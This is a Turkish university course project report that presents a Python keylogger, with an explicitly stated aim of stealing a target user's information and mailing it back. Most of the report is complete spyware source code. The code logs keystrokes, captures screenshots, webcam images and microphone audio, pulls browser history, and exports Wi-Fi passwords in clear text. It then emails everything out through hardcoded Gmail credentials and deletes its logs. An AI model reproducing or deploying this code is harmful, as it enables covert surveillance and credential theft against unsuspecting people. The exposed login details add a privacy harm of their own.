

**FIRAT ÜNİVERSİTESİ**

**TEKNOLOJİ FAKÜLTESİ**

**Yazılım Mühendisliği**

**YMH321-Bilgi Sistemleri ve Güvenliği**

**GELİŞMİŞ KEYLOGGER**

**Proje Çalışma Grubu**

**TARIK BULUT - 195541035**

|  |
| --- |
| 1. **GİRİŞ** |
| * 1. Projenin Amacı   2. Projenin Kapsamı |
| 1. **PROJE PLANI** |
| * 1. Giriş   2. Projenin Plan Kapsamı   3. Proje Zaman-İş Planı   4. Kullanılan Özel Geliştirme Araçları ve Ortamları |
| 1. **SİSTEM ÇÖZÜMLEME** |
| * 1. **Gereksenen Sistemin Mantıksal Modeli**      1. Giriş      2. Sistemin Use Case Diyagramı      3. Genel Bakış |
| 1. **SİSTEM TASARIMI** |
| * 1. **Arayüzler**   2. **Kodlar** |
| 1. **SONUÇ** |
| 1. **KAYNAKLAR** |

|  |
| --- |
| 1. **GİRİŞ** |
| * 1. **Projenin Amacı**   Projenin amacı, hedeflenen kullanıcının bilgilerini çalıp mail yoluyla bize aktaran bir keylogger programıdır. Program başlatılması için ya bilgisayarda python bulunup, .py uzantılı dosyayı açmalıdır. Ya da exe haline getirilip direkt çalıştırılmalıdır.  Ancak exe formatına dönüştürüldüğünde boyutu bir virüs programı için bile oldukça büyük olduğundan önerilmemektedir.     * 1. **Projenin Kapsamı**   Windows işletim sistemi ve içerisinde python ortamı bulunan bir bilgisayardan kullanımına göre önemli bilgileri çalabilmektedir. |
| 1. **PROJE PLANI** |
| * 1. **Giriş**   Projede başka bir bilgisayarda erişilebilecek nesnelerin neler olduğu araştırıldıktan sonra Python dilini seçip projeye başlanılmıştır   * 1. **Projenin Plan Kapsamı**   Proje başlangıçta sadece zarar verme amacı olan system32 dosyalarını silmeyi amaçlamıştır, ancak python dilinin admin dosyalarına erişiminde sıkıntı yaşadığı için klasik keylogger projesi baz alınarak çeşitli fonksiyon eklenilmiştir   * 1. **Proje Zaman-İş Planı**   2. Kullanılan Özel Geliştirme Araçları ve Ortamları |
|  |
| 1. **SİSTEM ÇÖZÜMLEME** |
| * 1. **Gereksenen Sistemin Mantıksal Modeli**      1. **Giriş**   Sistem, hedef bilgisayarda dosyayı çalıştırdığında bir çok bilgisi ile beraber bir log dosyasında toplanıp, bu bilgileri mail yoluyla bize ulaştırmaktadır. Bu projede klasik keylogger projelerine göz atılıp, geliştirilmeler yapılmıştır.   * + 1. **Sistemin Use Case Diyagramı**   **C:\Users\tarik\OneDrive\Masaüstü\Universite Dersleri\3. SENE\1.Dönem\Bilgi Sistemleri ve Güvenliği\Final Projesi\Keylogger-Process-in-User-Activity.png**   * + 1. **Genel Bakış**   Sistem temel olarak hedeflenen bilgileri bilgisayara herhangi bir zarar vermeden o anki bilgisayar bilgilerini, tarayıcı geçmişini, webcam ile görüntülerini, varsa mikrofonu ile o anki ses kaydını, ekran görüntülerini ve klavyede bastığı tuşları dinleyebilmemizi sağlamaktadır. |
| 1. **SİSTEM TASARIMI** |
| * 1. **Arayüzler**   Sistem olabildiğince gizli bir şekilde çalışması gerektiğinden herhangi bir arayüz tasarlanmamıştır, aksine cmd arayüzü gizlenilmeye çalışılmıştır.   * 1. **Kodlar**   try:  import subprocess # Yeni bir aplikasyon için kullanýlmasý için gerekli kütüphane  import socket # Internet sunucularýna eriþim ve iletiþim için gerekli kütüphane  import os # Dosya ile ilgili iþlemler için gerekli kütüphane  import re # String içerisindeki deðeri bulmamýza yardýmcý olan kütüphane  import smtplib # Verileri mail yoluyla bize yollamasý için gerekli kütüphane  import logging # Durum mesajlarýný dosyaya yazmasýný ya da or çýktýyý göstermesi için gerekli  import pathlib # Deals with path related tasks  import json  import time # Kodu uyutup bir süre bekletmemizi saðlayan kütüphane  import cv2 # Ekran kaydý ve görüntü iþleme için gerekli kütüphane  import sounddevice # Numpy dizilerini ses dosyasýna dönüþtüren kütüphane  import shutil # Otomatik olarak dosyalarý kopyalayan ya da silen kütüphane  import requests # HTTP/1.1 istek yollayan kütüphane  import browserhistory as bh # Kullanýcý adý, þifreleri ve tarayýcý geçmiþini json formatýnda döndüren kütüphane  from multiprocessing import Process # Processin oluþmasýnda yardým eden kütüphane  from pynput.keyboard import Key, Listener # Girilen girdileri dinleyen kütüphane  from PIL import ImageGrab # Ekrandaki görselleri? kopyalayan, görsel iþlemleride kullanýlan kütüphane  from scipy.io.wavfile import write as write\_rec # Numpy dizilerini WAv formatýnda yazan kütüphane  from email.mime.multipart import MIMEMultipart # ['From'], ['To'], ve ['Subject'] bölümlerini encodelayan kütüphane  from email.mime.text import MIMEText # E mail yollayan kütüphane  from email.mime.base import MIMEBase  from email import encoders  except ModuleNotFoundError:  from subprocess import call  modules = ["browserhistory","sounddevice","pynput","Pillow==8.3.1","keyboard==0.13.5","opencv\_python==4.5.3.56","pywin32==301","requests==2.26.0","scipy==1.7.1","pathlib==1.0.1","jsonschema==3.2.0"]  call("pip install " + ' '.join(modules), shell=True)  #Bilgi sistemleri projesi için yapilmistir eklenen bazi fanksiyonlar internette buldugum kaynaklardan büyük oranda esinlenilmistir.    ################ Fonksiyonlar: Klavye dinleme, Ekran Görüntüsü Alma, Mikrafon Kaydetme, Webcam ile Görüntü Alma, Email Yollama ################  # Klavye dinleme fonksiyonu  def logg\_keys(file\_path):  logging.basicConfig(filename = (file\_path + 'key\_logs.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')  on\_press = lambda Key : logging.info(str(Key)) # Basýlan tuþu log'a kaydediyor  with Listener(on\_press=on\_press) as listener: # býrakýldýðýnda kaydet  listener.join()  # 5 saniye araliklarla ekran görüntüsü alan fonksiyon  def screenshot(file\_path):  pathlib.Path('C:/Users/Public/Logs/Screenshots').mkdir(parents=True, exist\_ok=True)  screen\_path = file\_path + 'Screenshots\\'  for x in range(0,10):  pic = ImageGrab.grab()  pic.save(screen\_path + 'screenshot{}.png'.format(x))  time.sleep(5)  # Cagrildiginda 10'ar saniye boyunca mikrafonu dinleyen fonksiyon  def microphone(file\_path):  for x in range(0, 5):  fs = 44100  seconds = 10  myrecording = sounddevice.rec(int(seconds \* fs), samplerate=fs, channels=2)  sounddevice.wait() # Dinlemenin bitirip bitirilmediðini kontrol et  write\_rec(file\_path + '{}mic\_recording.wav'.format(x), fs, myrecording)  # Webcam ile fotoðraf çeken fonksiyon  def webcam(file\_path):  pathlib.Path('C:/Users/Public/Logs/WebcamPics').mkdir(parents=True, exist\_ok=True)  cam\_path = file\_path + 'WebcamPics\\'  cam = cv2.VideoCapture(0)  for x in range(0, 10):  ret, img = cam.read()  file = (cam\_path + '{}.jpg'.format(x))  cv2.imwrite(file, img)  time.sleep(5)  cam.release #Webcam'i kapat  cv2.destroyAllWindows  #E-mail'i hazirla ve olustur  def email\_base(name, email\_address):  name['From'] = email\_address  name['To'] = email\_address  name['Subject'] = 'Basarili!!!'  body = 'Gorev Tamamlandi'  name.attach(MIMEText(body, 'plain'))  return name  #SMTP kullanarak 587 portuna baglan  def smtp\_handler(email\_address, password, name):  s = smtplib.SMTP('smtp.gmail.com', 587)  s.starttls()  s.login(email\_address, password)  s.sendmail(email\_address, email\_address, name.as\_string())  s.quit()  #Maili yolla  def send\_email(path):  regex = re.compile(r'.+\.xml$')  regex2 = re.compile(r'.+\.txt$')  regex3 = re.compile(r'.+\.png$')  regex4 = re.compile(r'.+\.jpg$')  regex5 = re.compile(r'.+\.wav$')  email\_address = 'erkansari734@gmail.com' #Mail adresini giriniz(Benim sahte mail adresim)  password = '69e78e01t' #Mail'in sifresini giriniz    msg = MIMEMultipart()  email\_base(msg, email\_address)  exclude = set(['Screenshots', 'WebcamPics'])  for dirpath, dirnames, filenames in os.walk(path, topdown=True):  dirnames[:] = [d for d in dirnames if d not in exclude]  for file in filenames:  # Her bir dosya adi için özel bir yol belirle. Eðer tespit edilirse, dosya uzantisini normal ifade degiskenleriyle biriyle eslestirdiginde calismayacaktir  # Eger ilk dört reget deðer döndürürse, O zaman bütün degerler e mail dosyasýna eklenip gönderilecek.  if regex.match(file) or regex2.match(file) or regex3.match(file) or regex4.match(file):  p = MIMEBase('application', "octet-stream")  with open(path + '\\' + file, 'rb') as attachment:  p.set\_payload(attachment.read())  encoders.encode\_base64(p)  p.add\_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))  msg.attach(p)  # Eðer regex5(WAV) deðer döndürürse, o zaman tek bir deðer e mail dosyasýna eklenip gönderilecek.  elif regex5.match(file):  msg\_alt = MIMEMultipart()  email\_base(msg\_alt, email\_address)  p = MIMEBase('application', "octet-stream")  with open(path + '\\' + file, 'rb') as attachment:  p.set\_payload(attachment.read())  encoders.encode\_base64(p)  p.add\_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))  msg\_alt.attach(p)  smtp\_handler(email\_address, password, msg\_alt)  # Eðer eþleþip deðer döndüren bir deðer yoksa devam et.  else:  pass  # Wav dosyasý olmayan bütün deðerleri yolla  smtp\_handler(email\_address, password, msg)  ######################### Main Function: Network/Wifi bilgisi, Sistem bilgisi, Kopyalanmýþ veri, Tarayýcý geçmiþi #########################  # Main baslatildiginda alinan bilgileri kaydetmek için bir dizin -Path yolu- olustur  def main():  pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist\_ok=True)  file\_path = 'C:\\Users\\Public\\Logs\\'  # Network/Wifi bilgisini network\_wifi.txt ile al ve kaydet  with open(file\_path + 'network\_wifi.txt', 'a') as network\_wifi:  try:  # Assagidaki deðerler shell'e gir ve bilgileri çek.  commands = subprocess.Popen([ 'Netsh', 'WLAN', 'export', 'profile', 'folder=C:\\Users\\Public\\Logs\\', 'key=clear',  '&', 'ipconfig', '/all', '&', 'arp', '-a', '&', 'getmac', '-V', '&', 'route', 'print', '&',  'netstat', '-a'], stdout=network\_wifi, stderr=network\_wifi, shell=True)  # 60 saniye zaman asimi yediðinde kendini öldür.  outs, errs = commands.communicate(timeout=60)  except subprocess.TimeoutExpired:  commands.kill()  out, errs = commands.communicate()  # Sistem bilgisini system\_info ile al  hostname = socket.gethostname()  IPAddr = socket.gethostbyname(hostname)  #Bu kýsmý araþtýrdýðým kaynaklardan direkt aldým tam olarak nasýl iþlemler yapýyor bilmiyorum  with open(file\_path + 'system\_info.txt', 'a') as system\_info:  try:  public\_ip = requests.get('https://api.ipify.org').text  except requests.ConnectionError:  public\_ip = '\* Ipify connection failed \*'  pass  system\_info.write('Public IP Address: ' + public\_ip + '\n' + 'Private IP Address: ' + IPAddr + '\n')  try:  get\_sysinfo = subprocess.Popen(['systeminfo', '&', 'tasklist', '&', 'sc', 'query'],  stdout=system\_info, stderr=system\_info, shell=True)  outs, errs = get\_sysinfo.communicate(timeout=15)  except subprocess.TimeoutExpired:  get\_sysinfo.kill()  outs, errs = get\_sysinfo.communicate()  #Tarayýcý ismi, database yolunu ve geçmiþi JSON formatýnda txt dosyasina kaydet  browser\_history = []  bh\_user = bh.get\_username()  db\_path = bh.get\_database\_paths()  hist = bh.get\_browserhistory()  browser\_history.extend((bh\_user, db\_path, hist))  with open(file\_path + 'browser.txt', 'a') as browser\_txt:  browser\_txt.write(json.dumps(browser\_history))  ################################################### Multiprocess Modülleri Kullanmak ###################################################  p1 = Process(target=logg\_keys, args=(file\_path,)) ; p1.start() # Klavye dinleme  p2 = Process(target=screenshot, args=(file\_path,)) ; p2.start() # Ekran görüntüsü alma  p3 = Process(target=microphone, args=(file\_path,)) ; p3.start() # Mikrafon dinleme  p4 = Process(target=webcam, args=(file\_path,)) ; p4.start() # Webcam ile fotoðraf çekme  # Eðer process görevini yerine getirdiyse kapat  p1.join(timeout=300) ; p2.join(timeout=300) ; p3.join(timeout=300) ; p4.join(timeout=300)  p1.terminate() ; p2.terminate() ; p3.terminate() ; p4.terminate()  # þifrelenmiþ verileri mailine yolla  send\_email('C:\\Users\\Public\\Logs')  send\_email('C:\\Users\\Public\\Logs\\Screenshots')  send\_email('C:\\Users\\Public\\Logs\\WebcamPics')  shutil.rmtree('C:\\Users\\Public\\Logs') #Dosyalarý temizle  main() # Main fonksiyonu ile döngüye sok  if \_\_name\_\_ == '\_\_main\_\_':  main()  Ayrıca kodlar dökümanın yanında .py dosyası şeklinde verilecektir. |
| 1. **SONUÇ** |
| Sonuç olarak hedeflenen bilgisayara sızan bir program elde etmiş olduk. Bu program kötü amaçlar için tasarlanmış olsa da kötü amaçlar yapılması için yapılmamıştır. Tamamen eğitim ve dersi geçme projesi olarak tasarlanmıştır. Burdan Resul DAŞ ve Oğuzhan KATAR hocama teşekkürlerimi iletiyorum. |
| 1. **KAYNAKLAR** |

<https://www.researchgate.net/figure/Keylogger-Process-in-User-Activity_fig1_323338837>

<https://awesomeopensource.com/projects/keylogger>

<https://www.geeksforgeeks.org/design-a-keylogger-in-python/>

<https://docs.python.org/3/library/subprocess.html>

<https://python-sounddevice.readthedocs.io/en/0.4.4/>

<https://pynput.readthedocs.io/en/latest/>

<https://browser-history.readthedocs.io/en/latest/>

<https://docs.python.org/3/library/multiprocessing.html>

<https://stackoverflow.com>